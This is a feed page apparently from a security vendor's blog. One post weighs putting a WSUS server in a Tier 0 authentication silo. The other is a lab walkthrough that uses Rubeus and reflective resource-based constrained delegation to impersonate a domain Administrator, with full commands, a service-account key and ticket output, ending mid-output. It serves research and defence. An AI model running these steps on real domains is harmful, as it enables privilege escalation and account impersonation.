Normal view

There are new articles available, click to refresh the page.
Before yesterdayTenable TechBlog - Medium

Silo, or not silo, that is the question

18 January 2023 at 13:58

Introduction

As we (security folks) were working on the hardening of WSUS update servers, we had to answer an interesting question dealing with how to best isolate a sensitive server like WSUS on on-premises Active Directory. The question was: should I put my WSUS server into my T0 silo?

Even if people are familiar with the concepts of Active Directory Tiering, a recurrent question remains: Knowing that an update server is considered as a critical asset (Tier 0), should authentication policies be applied to this kind of server, is it really relevant?

Imagine you are building a Tier 0 silo, you may intuitively think that putting most of the critical assets in a silo is a good administration practice.

That thought does not stop at the WSUS server, but extends to other critical assets like ADFS servers, ADCS, Exchange servers, servers running hypervisors and so on. For the purpose of this article, we will stick to the example of the WSUS server.

WSUS server in a nutshell

According to Microsoft documentation:

Windows Server Update Services (WSUS) enables information technology administrators to deploy the latest Microsoft product updates. You can use WSUS to fully manage the distribution of updates that are released through Microsoft Update to computers on your network.”.

In its simplest architecture, how does it work? Updates are downloaded from Microsoft’s update servers and stored locally on the WSUS server. From here, admins can approve the updates for deployment to their internal clients. Windows clients (desktops and servers) can check the local WSUS server for updates that have been approved and can download and install them.

The simplest WSUS architecture can be resumed as follows:

A bigger organization, with multiple geographical sites for example, may use more than one WSUS server. In this case, a tree architecture will be used with multiple downstream servers contacting an upstream server, this last one ultimately depending on the Microsoft upstream server:

Whatever the chosen architecture, we can see that a single WSUS server spreads patches across domains, or worse, across forests. This is even more dangerous across forests as a forest represents the security boundary.

This is the paradox of a WSUS server which is supposed to maintain a level of security through security updates, but which in reality can allow an elevation of privileges due to its centralized role and thus can break down network silos. As a consequence, if only one WSUS server is deployed for the whole Active Directory, administrators should consider such a server as Tier 0.

Silo, or not silo, that is the question

An authentication policy silo controls which accounts can be restricted by the silo and defines the authentication policies to apply to its members. An authentication policy defines the Kerberos protocol ticket-granting ticket (TGT) lifetime properties and authentication access control conditions for an account type. Kerberos is required for authentication policies to be effective. Linking a user account to an authentication policy silo allows to restrict interactive user sign-in to specific hosts.

What is important here is to remember that silos are here to protect from attackers escalating privilege and thus to prevent from pivoting from a lower privilege object to a higher one.

Critical assets should not expose their credentials to lower privilege assets. This introduces the Microsoft Tiering model, where high sensitivity assets are part of the Tier 0 (domain controllers, domain administrators, privileged access workstations, AD FS servers, AD CS servers, and so on…). Servers exposing less critical services are part of the Tier 1, and workstations are part of the Tier 2.

Apply authentication policies to all critical assets to protect them?

A common misunderstanding is that if we put most of the critical assets into an authentication strategies silo, they are protected by a kind of magic, meaning no attacker will be able to authenticate or to compromise a server part of a silo.

This is a wrong statement. Here are our thoughts.

Only users members of a silo can authenticate to computers belonging to this same silo.

This is not exactly true. On one hand, Kerberos armoring enforces a user’s TGT request from a computer member of the authentication policy silo. This mechanism ensures that the user is protected and is not able to “leak” his credentials on non-trusted computers, meaning on a computer from a lower Tier. On the other hand, it does not mean that users who are not members of a silo can not authenticate to a computer which is a member of that silo.

An attacker with valid credentials will still be able to authenticate.

Members of a silo can authenticate only to computers belonging to an authentication policy silo.

This is not exactly true. As seen above, as soon as a TGT is requested for a user member of a silo, if the request comes from a computer that is out of the silo, the interactive authentication will fail. An interactive session allows the user to benefit from the windows SSO. As a consequence, the credentials will be available in the LSASS process.

One statement here to remember is; Authentication policies are protecting users, not computers. Computers put the silo at risk.

When a computer is member of an authentication policy silo, this computer is automatically protected and hardened.

It is in fact the opposite. Intuitively people think that objects in a silo are protected, while they have to be even more hardened and firewalled. Why? Let’s take for example the case of a Tier 0 silo, meaning authentication policies are applied to the most critical Active Directory assets.

If you are building a Tier 0 silo, you need to add to it the following:

  • PAW (Privileged Access Workstations); they are administration workstations where domain administrators are authenticating to and from where they perform administration tasks.
  • Domain administrators; domain administrators should be restricted to interactively authenticate (think SSO) only to the computers members of the silo.
  • Domain controllers; domain administrators need to authenticate to domain controllers. By default, unconstrained delegation is configured for domain controllers (TRUSTED_FOR_DELEGATION) which means that administrators credentials are in memory.

Because users’ credentials are leaked on computers members of a silo, these computers are prime targets for attackers.

So finally, we can ask ourselves the following questions:

  • According to what we said, it seems that it is better to have the minimum number of machines in the silo. Where should I put a server like WSUS which belongs to the Tier 0 perimeter?
  • Is an administrator belonging to the silo still able to authenticate to a computer out of the silo in order to perform administration tasks?

How does it apply to a WSUS server and similar services?

A WSUS is a critical asset, it belongs to Tier 0. If a service like WSUS service has complex code which is prone to vulnerabilities and, moreover, if it is connected to the internet, the attack surface is increased. So is it wise to add such a server in a silo? Theoretically, the answer is no, as administrators credentials are in the server memory.

However, i can hear what you think;

  • What’s the point of having a WSUS out of the silo as, if it is compromised and dispatches a malicious update on Tier 0 computers, the whole Tier 0 is compromised.
  • How will an administrator authenticate to the WSUS if it is out of the silo?

For the first point, starting from the statement that a critical asset is more prone to a compromise, it should “theoretically” be out of the silo (this is counter-intuitive). It is even more true if compromising this asset does not allow to pivot as easily as an attacker can do by compromising a WSUS server (e.g. Exchange servers with split permissions model).

This situation can be resumed in the following schema:

We can see that theoretically there is no real need to have this WSUS server inside the T0 silo. If it is outside, the T0 administrator will still be able to authenticate thanks to a network authentication (logon type 3), e.g. using the Remote Desktop Protocol with Restricted Admin*, otherwise the authentication will fail.

(*) The Restricted Admin mode enforces a user to perform a Network Level Authentication (NLA) when connecting to the Remote Desktop Services.

See the following schema:

As any kind of interactive session is forbidden here, the T0 administrator remains protected.

Conclusion

This article was to lighten the fact that computers inside a silo are putting this silo at risk. They must be even more protected.

In our situation, the best architecture is to have an update server dedicated for each Tier. Each Tier should be isolated, a very fine-grained firewalling should be done. If you are putting out of the silo your WSUS server, RDP Restricted Admin should be configured to allow administrators to authenticate and NTLM should be deactivated for administrators in order to avoid bypassing authentication policies.

Thus, administrators should be members of the Protected Users group. Note that starting from Windows Server 2016, a user added to the silo has automatically NTLM disabled:

If only a Tier 0 silo is set (quite rare to see silos for Tier 1 and Tier 2), administration from an upper to a lower Tier should be done with caution as seen previously. To deny logon from a lower to an upper Tier, you can also use logon rights to explicitly deny accounts from a different perimeter.

Because more and more AD environments are Azure joined, Microsoft updated its model and provides the enterprise access model which aims at “superseding and replacing the legacy tier model that was focused on containing unauthorized escalation of privilege in an on-premises Windows Server Active Directory environment”.


Silo, or not silo, that is the question was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

How to mimic Kerberos protocol transition using reflective RBCD

7 November 2022 at 16:59

As I am often looking for misconfigurations dealing with Kerberos delegation, I realize that I was missing an interesting element while playing with the Kerberos protocol extensions S4U2Self and S4U2Proxy. We know that a delegation is dangerous if an account allows delegating third-party user authentication to a privileged resource. In the case of constrained delegation, all it takes is to find a privileged account in one of the SPN (Service Principal Name) set in the msDS-AllowedToDelegateTo attribute of a compromised service account.

I asked myself whether it’s possible to exploit a case of constrained delegation without protocol transition since the S4U2Self does not provide valid “evidence” as we will see. Is there a way to mimic the protocol transition?

Even if i read quite a few articles dealing with Kerberos delegation, i realized that it was the crusade of Elad Shamir’s research Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory, and that the answer stands in what is called Reflective Resource-Based Constrained Delegation (Reflective RBCD).

While Reflective RBCD is not a new technique and as this technique does not command high visibility in Google searches, I thought it would be interesting to share with you my thoughts about mimicking protocol transition.

Kerberos Constrained Delegation

With the Kerberos constrained delegation, if a service account TestSvc has the attribute msDS-AllowedToDelegateTo set with an SPN targeting a service running under a privileged object — such as CIFS on a Domain Controller — TestSvc may impersonate an arbitrary user to authenticate to the service running in the security context of the privileged object — in this case, the DC — which is very dangerous.

Delegating to a domain controller

However, in order to exploit the Kerberos constrained delegation, the literature usually says that we also need the protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION set on TestSvc) to generate a forwardable service ticket for ourselves (S4U2Self) and to pass it to the S4U2Proxy, which requests another new service ticket to access our privileged object. Here, the protocol transition (S4U2Self) is required to impersonate an arbitrary user.

This makes us wonder if there’s a way to exploit the constrained delegation — assuming the service account is compromised — without protocol transition? More importantly, is there a way to impersonate any user without the protocol transition? And if not, why?

Environment setup

TestSvc is our compromised service account;

  • It is unprivileged, being only member of the Domain Users group
  • It has an SPN, required for delegating
  • It can also delegate to the domain controller DC01
PS J:\> New-ADUser -Name "TestSvc" -SamAccountName TestSvc -DisplayName "TestSvc" -Path "CN=Users,DC=alsid,DC=corp" -AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) -Enabled $True -PasswordNeverExpires $true -ChangePasswordAtLogon $false
PS J:\> Set-ADUser -Identity TestSvc -Replace @{"servicePrincipalName" = "MSSQLSvc/whatever.alsid.corp" }
PS J:\> Set-ADUser -Identity TestSvc -Add @{'msDS-AllowedToDelegateTo'=@('HOST/DC01.ALSID.CORP')}

Service Ticket as an evidence

Since the protocol transition uses S4U2Self to get a valid service ticket for ourselves and use it as “evidence” for S4U2Proxy, our first thought might be whether we can forge this ticket on our own. Since we compromised TestSvc, we know its secret, which leads us to think that it’s possible to forge this service ticket in theory.

And yet we fail to forge a ticket for an arbitrary user and pass it to S4U2Proxy.

The first step consists in forging the service ticket to use as evidence (040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605 is the aes256 key of the TestSvc service account, MSSQLSvc/whatever.alsid.corp is the SPN requested, held by TestSvc itself):

.\Rubeus.exe silver /service:MSSQLSvc/whatever.alsid.corp /aes256:040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605 /user:alsid.corp\Administrator /ldap /domain:alsid.corp /flags:forwardable /nowrap

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.1.1

[*] Action: Build TGS
...
[*] Building PAC
...
[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGS for 'Administrator' to 'MSSQLSvc/whatever.alsid.corp'
...
[*] base64(ticket.kirbi):
doIFczCCBW+gAwIBBaEDAgEWooIEWTCCBFVhggRRMIIETaADAgEFoQwbCkFMU0lELkNPUlCiKjAooAMCAQKhITAfGwhNU1NRTFN2YxsTd2hhdGV2ZXIuYWxzaWQuY29ycKOCBAowggQGoAMCARKhAwIBA6KCA/gEggP0Jl2zxQ1VVoWL2iPIENC0NHefQx1D+wUsczCQLL3CrHqjpq16D/n0YFf5uqrLPuC6oIphRbbIRCmVO8cN2h8X9/ZFNBdqJmW9k8OrByGlpwWQ51hg3WgVp24zJuqX3YTHZxQ5H1n6+8KkaqH9rUrz+WK52vdihN6xbHdX0U2zkb6iE4YfvZk9KX9daDqlRhE5P6i/D+oxda4A5BrLXOvBxMDY0E6PPNfkwLXfsc0MWo9/ZutfdGC4t1onKELY2WZ27/iyR0Ng/D9LQ7mCyPAjFkTR2nS1vUJz3Ae4omIKaaOBbN+e/X6cyTjBCLWUzecX2Xy+2wu1x4BP62mrQ9T73IByeeavC+3z2Lygig5Fx18UvJbPP9E3gFBF9/3PJK0rOMqFKbojAEDF+XLVMfE+T8/rNNMB6VH5ReoQbG+OuUEaAlcBPoWlAxrcPznE3kRkbB1KqiJHGMiMgQqVIGJt9zZxblcY+mHC3Pbw1v7G+t9YnF2dalbdicC+eWSoQydbv10spX5h89BQ/PgVL0vTGnFs9fzYT6NibIJcot3MgBnruGVK7OhK8w9Bv56aZ6NQXkj+ttGK6NrS0T3B8lnX23PRJqiu5eQ4NIR2w618LkOJSLcqM99EKQmfqhUJwsqLWDf3Q/IMBHXOtgKi7ZtvruCO12qJbdOYh+K1nLfnlwq/qNNs9HQtAqCgWlpoOb4tpfRI/A12a3hCgVSd0kPbsqHpBtfh8d0yJGsl8SJiMfMJB5hdJO4uXiP+9AEQrGAx7yUQ9bKmEVlSXXYC/LT2Posi/254uZEX3C6W0UGoAVqB0a9GPGnu32pt5ulagp9i/5c4OnmSLqXRXrmb4rlEETl/f5bOpegVdknk20Mg17jyhPDbxNNfMOfYPXd0k+WPbMBFK9Lol6GEPY1n6CLp5c4TaG6XZk3A+mYmvHEazxZjfKC1PR+GmnF7AJPkVbLSvh23YpMphjf6g5Fu/ohbshTL7tUB13uEMgH1EpWXvdG349r9t+Nosw9iGRxbKIwyRnZMOK16DHu70ETNjt4gRNf2KLwSsfYB2dg6crKvH1deWeFDH5OgpNGlAroSTIbW+swyrquK20lYDTkMYIPdaKTQqwUA19ol3X8PWJDgdKJfO264q9y3phJufUkqYSzifMueTvGup9IxqQnt6CsW1RBqYTFkYddQ2uTi40hmaJVeKYw/WPOAv38AYbwwl4OVptxsRyq2Ts07LRWYFJfvc6Ol9hK2TAR4S9C+splESMHYLatpbTFj58OWp6AVw/SwKuSvU5JEh3B5WIMkdWPouD8MrsTKJ5T1JU5J1a72k4l3h8TCi/tRp42DudvDhAxDEGg5m6OCAQQwggEAoAMCAQCigfgEgfV9gfIwge+ggewwgekwgeagKzApoAMCARKhIgQgdPMmPJpSNbnt8crSu95aBGTGbz32W45+wH3zl9OIr9ihDBsKQUxTSUQuQ09SUKIaMBigAwIBAaERMA8bDUFkbWluaXN0cmF0b3KjBwMFAEAAAACkERgPMjAyMjExMDIwOTMwMDBapREYDzIwMjIxMTAyMDkzMDAwWqYRGA8yMDIyMTEwMjE5MzAwMFqnERgPMjAyMjExMDkwOTMwMDBaqAwbCkFMU0lELkNPUlCpKjAooAMCAQKhITAfGwhNU1NRTFN2YxsTd2hhdGV2ZXIuYWxzaWQuY29ycA==

Next, we use this evidence for the S4U2Proxy request:

.\Rubeus.exe s4u /user:TestSvc /aes256:040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605 /msdsspn:HOST/DC01.ALSID.CORP /altservice:CIFS /tgs:<previously_forged_b64_service_ticket>
...
[*] Action: S4U

[*] Loaded a TGS for ALSID.CORP\Administrator
[*] Impersonating user 'Administrator' to target SPN 'HOST/DC01.ALSID.CORP'
[*] Final ticket will be for the alternate service 'CIFS'
[*] Building S4U2proxy request for service: 'HOST/DC01.ALSID.CORP'
[*] Using domain controller: DC01.alsid.corp (192.168.199.2)
[*] Sending S4U2proxy request to domain controller 192.168.199.2:88

[X] KRB-ERROR (41) : KRB_AP_ERR_MODIFIED

The S4U2Proxy rejected our forged service ticket with the error KRB_AP_ERR_MODIFIED due to a PAC (Privilege Attribute Certificate) validation issue, as seen below:

KRB_AP_ERR_MODIFIED error in Wireshark

By the way, if you’re looking for information on decrypting encrypted data stub in Kerberos exchanges, check out Decrypt Kerberos/NTLM “encrypted stub data” in Wireshark by Clément Notin [Tenable].

According to Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory:

The problem with silver tickets is that, when forged, they do not have a PAC with a valid KDC signature. If the target host is configured to validate KDC PAC Signature, the silver ticket will not work. There may also be other security solutions that can detect silver ticket usage.

In fact, before CVE-2020–17049 (Kerberos Bronze Bit Attack), an attacker who owned a service account, was able to forge the missing FORWARDABLE flag of a service ticket and passed it successfully to the S4U2Proxy protocol extension.

Also, according to CVE-2020–17049: Kerberos Bronze Bit Attack — Theory:

Later when the KDC receives the service ticket during the S4U2proxy exchange, the KDC can validate all three signatures to confirm that the PAC and the service ticket have not been modified. If the service ticket is modified (for example, if the forwardable bit has changed), the KDC will detect the change and reject the request with an error such as “KRB_AP_ERR_MODIFIED(Message stream modified).”

Note that, since KB4598347 (CVE-2020–17049), the KDC no longer checks the forwardable flag as we will see.

Reflective RBCD

If we control TestSvc, it means that we can set the RBCD (Resource-based Constrained Delegation) on this object since we have full control over it.

RBCD only needs the permission to write an attribute (msDS-AllowedToActOnBehalfOfOtherIdentity), instead of msDS-AllowedToDelegateTo (classical constrained delegation) which needs to be a domain administrator. More precisely, to set the msDS-AllowedToDelegateTo attribute, the SeEnableDelegationPrivilege privilege is required and is granted to the “Domain Local’’ group Administrators (see the security policies in the Default Domain Controllers Policy).

Note that the protocol transition — TRUSTED_TO_AUTH_FOR_DELEGATION UAC flag — also needs domain administrators privileges to be set.

Setting self RBCD:

PS J:\> whoami
alsid\TestSvc
PS J:\> Get-ADUser TestSvc -Properties msDS-AllowedToDelegateTo,servicePrincipalName,PrincipalsAllowedToDelegateToAccount,TrustedToAuthForDelegation

msDS-AllowedToDelegateTo : {HOST/DC01.ALSID.CORP}
servicePrincipalName : {MSSQLSvc/whatever.alsid.corp}
PrincipalsAllowedToDelegateToAccount : {}
TrustedToAuthForDelegation : False

PS J:\> Set-ADUser TestSvc -PrincipalsAllowedToDelegateToAccount TestSvc
PS J:\> Get-ADUser TestSvc -Properties PrincipalsAllowedToDelegateToAccount

PrincipalsAllowedToDelegateToAccount : {CN=TestSvc,CN=Users,DC=alsid,DC=corp}

Because without setting the protocol transition (TRUSTED_TO_AUTH_FOR_DELEGATION), the S4U2Self can’t provide successfully valid “evidence” (i.e. a service ticket) to the S4U2Proxy, the trick is to replace the S4U2Self — used for the protocol transition — with a reflective RBCD to execute an RBCD attack on ourselves.

But this time, as the Resource-based Constrained Delegation allows to perform a successful delegation (*), understanding allows an attacker to generate a valid service ticket impersonating an arbitrary user, we successfully reproduced somehow the protocol transition.

(*) The KDC only checks if the delegated user is OK to be delegated, meaning that it’s neither Protected Users nor flagged as sensitive, and set as trustee in the msds-AllowedToActOnBehalfOfOtherIdentity attribute.

Note: The msDS-AllowedToActOnBehalfOfOtherIdentity attribute used to configure RBCD is a security descriptor:

PS J:\> $account = Get-ADUser TestSvc -Properties msDS-AllowedToActOnBehalfOfOtherIdentity
PS J:\> ConvertFrom-SddlString -Sddl $account."msDS-AllowedToActOnBehalfOfOtherIdentity".Sddl
Owner            : BUILTIN\Administrators
Group :
DiscretionaryAcl : {ALSID\TestSvc: AccessAllowed (ChangePermissions, CreateDirectories, Delete, DeleteSubdirectoriesAndFiles, ExecuteKey, FullControl, GenericAll, GenericExecute, GenericRead, GenericWrite, ListDirectory, Modify, Read, ReadAndExecute, ReadAttributes, ReadExtendedAttributes, ReadPermissions, TakeOwnership, Traverse, Write, WriteAttributes, WriteData, WriteExtendedAttributes, WriteKey)}
SystemAcl : {}
RawDescriptor : System.Security.AccessControl.CommonSecurityDescriptor

Finally, we have (S4U2Self + S4U2Proxy) + extra S4U2Proxy, where (S4U2Self + S4U2Proxy) is the reflective RBCD.

Mimicking Kerberos protocol transition

Here are the detailed steps:

  • S4U2Self without TRUSTED_TO_AUTH_FOR_DELEGATION;

The service ticket is for an arbitrary user and it is not forwardable. With regard to RBCD, this is not an issue because a forwarded ticket will be accepted by the S4U2Proxy. In fact nowadays this is not really accurate as, since KB4598347, the KDC no longer checks the forwardable flag to avoid blindly trusting the PAC in case of PAC forgery. Moreover, in the case of the Resource-Based Constrained Delegation, the KDC only checks if the delegated user is OK to be delegated (i.e. not Protected Users, not NOT_DELEGATED) and if the delegating resource (TestSvc) is set as a trustee in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

  • S4U2Proxy;

We get a forwardable service ticket for ourselves (see setting self RBCD above) to use as evidence for the next S4U2Proxy.

  • S4U2Proxy (again);

We just tricked our way into getting a valid evidence. Now we can request a service ticket this time for a service running under the privileged object set in msDS-AllowedToDelegateTo (classic constrained delegation).

In practice, we have:

J:\>klist

Current LogonId is 0x1:0x7a919ebc

Cached Tickets: (1)

#0> Client: TestSvc @ ALSID.CORP
Server: krbtgt/ALSID.CORP @ ALSID.CORP
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
Start Time: 7/8/2022 11:54:43 (local)
End Time: 7/8/2022 21:54:43 (local)
Renew Time: 7/15/2022 11:54:43 (local)
Session Key Type: AES-256-CTS-HMAC-SHA1-96
Cache Flags: 0x1 -> PRIMARY
Kdc Called: DC01

J:\>dir \\DC01.ALSID.CORP\C$
Access is denied.

J:\>.\Rubeus.exe s4u /user:TestSvc /aes256:040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605 /domain:alsid.corp /msdsspn:MSSQLSvc/whatever.alsid.corp /impersonateuser:Administrator /nowrap

______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/

v2.1.1

[*] Action: S4U

[*] Using aes256_cts_hmac_sha1 hash: 040f2dfbdc889c4139aef10cf7eb02c0ce5ab896efdb90248a1274b6decb4605
[*] Building AS-REQ (w/ preauth) for: 'alsid.corp\TestSvc'
[*] Using domain controller: 192.168.199.2:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIFBjCCBQKgAwIBBaEDAgEWooIEETCCBA1hggQJMIIEBaADAgEFoQwbCkFMU0lELkNPUlCiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCmFsc2lkLmNvcnCjggPNMIIDyaADAgESoQMCAQKiggO7BIIDtziDJUKhpiQpBW+Oy/6eKHq02Vu45cBGNu2TK3FfRPvL4yLgXup/afyy9YR9KLmJ0FaBM4Y5r69LKhYvISsWO7uqjtL3dzI+PcbpvRWzNgqtGyeQ9OVf5nrdVphQOE8X2PnxZ9Dbpg087c2wsiZaK1P9PYkLl3hQlA0aw29PobVC+WmjPo7nALWjMdHvPEILNBAGRsstIdAfB5zzAQQehxDs1E8XNf6S3xsNBk1n11BWSgc9FJixwebBFIt18ZnsPFAH/fIac9sWaY2NBhBRUSdmU8OtGqb3X527sy6hMfyNkTQeT3MEF72jiH/CqBJNDQ09yvETAwRX5p8VgExjhSqFbtl6HzQYxySXGyXxwpGdSNBm2/w2XOJjhEiQwqVm0mabCEfPrUBpOEBN2OI2vus1U855o6TnXKuYExy6f6A9/JWR1q/RdA9f6PCM9oIoCZbPjdeCVh56N3j6WIZbSRorVzlXXKoxcOhtEC4ROqY9kRs1NpA+OHV5aD1k2ED6cfNDHe1zUKKdikSH2NKXk0Mr9lkzW59v4VKqnnKBYoI6t1Xn4lelYuDsoFchj+RbS/+jnwCAA0uRl8QOGYr0/uHCpSGllE1YnfKfJJKnhs2WvdsZmesgN61xGzMolFMZrR0oIJtAnz5P6QMwp6vMtymSJJCmIQ3j7s0blDggXxITB9iNDHLzVXCa9FP+DaMJDG8bgQt+UxMRNrQ/fIZZLz/GVV+tExnohpi+KjgYqA1G1MotMz5TFvJ2tsodmZx2sSRgbeZ+RqwGFRBeU/QBcLd80aTGCwO/EsL8aFo10UXGU8K68PUFi81F9d3H0dNxP3oaXhPGcE7dc1DCb9xlUXALubBbqsZ3fTm4T11fgiFzBILRatCl4XM3MDX6UfWgpwAAVAqPr3oh0c/ZLSp/HYJAVH+RM2GZ3GJ0QMocToQnCVUvHRmV39XBLgQd5jX3Tod8vrl209cjtjteDRK/8gw5+qhZ5kFcdlHRmS5s35Iz/z5Yo6HcyPi89TdHT8fP2zp8d+1GwE/L0gGWwnZmjEDwJWE3ImybxSIVbctFqWZ1MAQyMZh9wEpLYF5z8MdK6vcw9Uwnt3AL/zIyZrY9usoW3IEqfI0mCVVXTSzab2LZDpSzbYumyyLNaCKfK5k8EOQJ62fmwGaywDBBS19oCwhXPP7809ewjBGCb8jTBCIcoRI4lg45/u9bw97nTewHisiX5nj9TTDrdaLEa2AyilwYrLN9lC8H4i+hQXgwwI1R6PccY1EZ4KOB4DCB3aADAgEAooHVBIHSfYHPMIHMoIHJMIHGMIHDoCswKaADAgESoSIEIFx7HgoNGnCa2ZGy4BdsnKiURRsgFfN8HnNgP6r2jIAzoQwbCkFMU0lELkNPUlCiFTAToAMCAQGhDDAKGwh0ZXN0dXNlcqMHAwUAQOEAAKURGA8yMDIyMDcwODA5MjQyMlqmERgPMjAyMjA3MDgxOTI0MjJapxEYDzIwMjIwNzE1MDkyNDIyWqgMGwpBTFNJRC5DT1JQqR8wHaADAgECoRYwFBsGa3JidGd0GwphbHNpZC5jb3Jw


[*] Action: S4U

[*] Building S4U2self request for: '[email protected]'
[*] Using domain controller: DC01.alsid.corp (192.168.199.2)
[*] Sending S4U2self request to 192.168.199.2:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to '[email protected]'
[*] base64(ticket.kirbi):

doIFWDCCBVSgAwIBBaEDAgEWooIEeDCCBHRhggRwMIIEbKADAgEFoQwbCkFMU0lELkNPUlCiFTAToAMCAQGhDDAKGwh0ZXN0dXNlcqOCBD4wggQ6oAMCARehAwIBBKKCBCwEggQodMExQsqVhou6aOvYkN1JZZv5bH8FfDUpTPySOqJhiSE9GegSXH1Lu5aTP4i7YLgdMg5WyUNECHrNxH80Gg+9on/4T265SVCivmgfSCkraQVMQ+2+ckDV4umf1ms4HXNCDRLmeapHWRAiapGYx4jMBAedZ7L3Jnw9TWCIF+ZbJ+QblfapXfhKPj9rJFI53mLYbrP9CPd1qGXd+FFQYRjOsigjNSfd7PqNc/GRS4slrumS8QjQjhldmUNVDi0TQvYupxY1oxiMqk7AAG83zbMSR/5Zq8XDR0yHNv5ZiHIfuVDL/AIEARrKKrRLSfllXyLjEtk5kRtukoIfSPhvyweVIruZn9puOr5+uSJxn7lxcfgLrT7MzE9BT/HDRHJeYholtDykG0tg1pfiKtXj/rekTKaPuuleNnrvoiDH/57SpHa42AXbnf9bSBqZcknnCz6n4Dk6MmWHr7pR//dVUl1ewlKBMb/WO90cEbyuqoDglOKf6yUzUlPxYBiVLjb+3hg+doZj/5pzm/2wLWUuN4IfpJ2kC3FgBRVKo1varXchSMTwuFMK1JWDJ+ZSKToFNa+5GDVcGy4mXG/a8gk1Q/QQt32+L6pGLwN3bItVIVjZzAQUlkJdoKYlv6rjHRdR3t1Z2bV3ol2jCkWcVKT3c6nLnBsUYUU3RfQenlCFT7/fNXVO2DUxBL6ugpiomvuywOTjvVFph+PMm9hZJMeCVVOqhvBoR3+4GzLAZJ4jvTjNTsQoV/as5mDxi+5/LHok1j64HbSVtn+FPzOymN+r4pKl/6E4JonCQxAN6Nv4RafhNvle3uFa2pNbr5X89MKJAxMAGgPTzoDsVLoS0iG6MvgjKHO3m6/G0fiFbuDLRFomq3ZON2gsnYd+X5RDrxuo0sZgmA6DJWB1v5hG4gJbcdan2G06aUMtx6zvVtc71Ke/+HAFqH274lPDF4uumESnFk7+PvHAy6akaLmCMSjAV6ufBwx/5zxlAd5fRblFylFqD2yyie+AauVjV8QIpHLvgK6RucTGwHQoBBZrdL9meLnsmaRdKMC5bX1Wb3Eek1de/nuOEt1rnVUFMG3WAgVLybv9SEsgRkgrWf4SzMysgXuf+/Jh52EKisHx8u08VfLKrShS5ApeETAMhu9BNgGYlj7fy77d1v7pWJGl40ICbslOsSQORCQXJKgDI9bms3XYfkL5wmchKFUVq2a8EUapL2VrQIcMYwyIFOuI8X6/LllsDDaX7GCPndOWTMO/0Ly+TGPM869nUI8ZyCQKiNPSlIrwkiMQs6HZC+JVvyw+e+lX0VQh6lay0GwNecOWdEXYA3ms9vdTR6uNSLDScvvzS4ywhVYkdKQm54W/+z0AeGd9DcURr4tjhPVi7A3Des5hcQ5Zhtim3u6ThPeDGlSroz0jvRdaUzYXtWWjgcswgcigAwIBAKKBwASBvX2BujCBt6CBtDCBsTCBrqAbMBmgAwIBF6ESBBC9HOonFiJahrI/emtNO+odoQwbCkFMU0lELkNPUlCiGjAYoAMCAQqhETAPGw1BZG1pbmlzdHJhdG9yowcDBQBAoQAApREYDzIwMjIwNzA4MDkyNDIyWqYRGA8yMDIyMDcwODE5MjQyMlqnERgPMjAyMjA3MTUwOTI0MjJaqAwbCkFMU0lELkNPUlCpFTAToAMCAQGhDDAKGwh0ZXN0dXNlcg==

[*] Impersonating user 'Administrator' to target SPN 'MSSQLSvc/whatever.alsid.corp'
[*] Building S4U2proxy request for service: 'MSSQLSvc/whatever.alsid.corp'
[*] Using domain controller: DC01.alsid.corp (192.168.199.2)
[*] Sending S4U2proxy request to domain controller 192.168.199.2:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'MSSQLSvc/whatever.alsid.corp':

